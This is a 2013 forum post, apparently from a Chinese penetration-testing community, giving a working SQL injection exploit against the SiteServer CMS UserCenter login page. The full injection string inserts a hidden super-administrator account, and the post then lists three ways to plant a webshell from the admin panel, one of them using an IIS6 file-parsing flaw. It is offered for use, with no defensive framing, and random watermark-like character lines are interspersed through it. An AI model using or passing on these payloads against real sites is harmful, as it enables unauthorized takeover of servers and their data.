中国网络渗透测试联盟
标题:
SiteServer CMS UserCenter/login.aspx页面用户名处sql注射
[打印本页]
作者:
admin
时间:
2013-2-16 21:40
标题:
SiteServer CMS UserCenter/login.aspx页面用户名处sql注射
经测试秒杀最新的3.5版
0 _7 K5 l/ w' H+ N# x$ b
stieserver官网:
www.siteserver.cn
. n4 A0 l3 j) j$ `
EXP:
8 [8 X! I7 X9 J5 _+ S& f
直接访问UserCenter/login.aspx
3 \1 Z# Z. X% z' u' m
用户名处输入：
9 J7 d- H! X5 m7 k& y
! d9 g9 Q1 w, X+ p9 Y& ]7 x
123′insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values(‘blue’,'VffSUZcBPo4=’,'Encrypted’,'i7jq4LwC25wKDoqHErBWaw==’);insert into bairong_AdministratorsInRoles values(‘Administrator’,'blue’);insert into bairong_AdministratorsInRoles values(‘RegisteredUser’,'blue’);insert into bairong_AdministratorsInRoles values(‘ConsoleAdministrator’,'blue’);–
9 o. Q. X/ P0 {/ x& v0 {
密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue 密码为lanhai的超级用户。
7 o7 h3 e+ T" D* G4 V1 z& U- f
之后再访问后台SiteServer/login.aspx用插入的用户登陆
1 t5 H% @) y) h3 S8 m, \+ b3 g0 \
后台拿webshell的三种方法：
! L* F# F7 E1 T' \0 ]8 Y
一、
3 w8 O* _0 o& b' Q2 k9 ~
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
: l, ?, E9 L9 I5 k x1 q: o& W, ^
二、
! ]6 V) V: B! `" B6 K% j3 ?7 f
成员权限-》添加用户-》用户名为：1.asp
! M9 V( w) T8 D9 ]9 f
http://127.0.0.1/usercenter/
+ d8 [ r* `: o
用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
+ w+ M' @) A$ T4 E B$ K
（ps：后台添加用户时不会验证是否含有非法字符）
% P9 ?3 L4 K) i! }" ], Z
三、
3 f Z* p* y& h6 N0 B" Y
系统工具-》实用工具-》机器参数查看
0 \4 I( f% a/ [2 f# w: H5 D4 j
可以看到数据库类型、名称，WEB路径
$ d- B$ m K3 i4 r4 y" `" G c/ u
系统工具-》数据库工具-》SQL语句查询
' X, c5 [/ y; h3 p
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2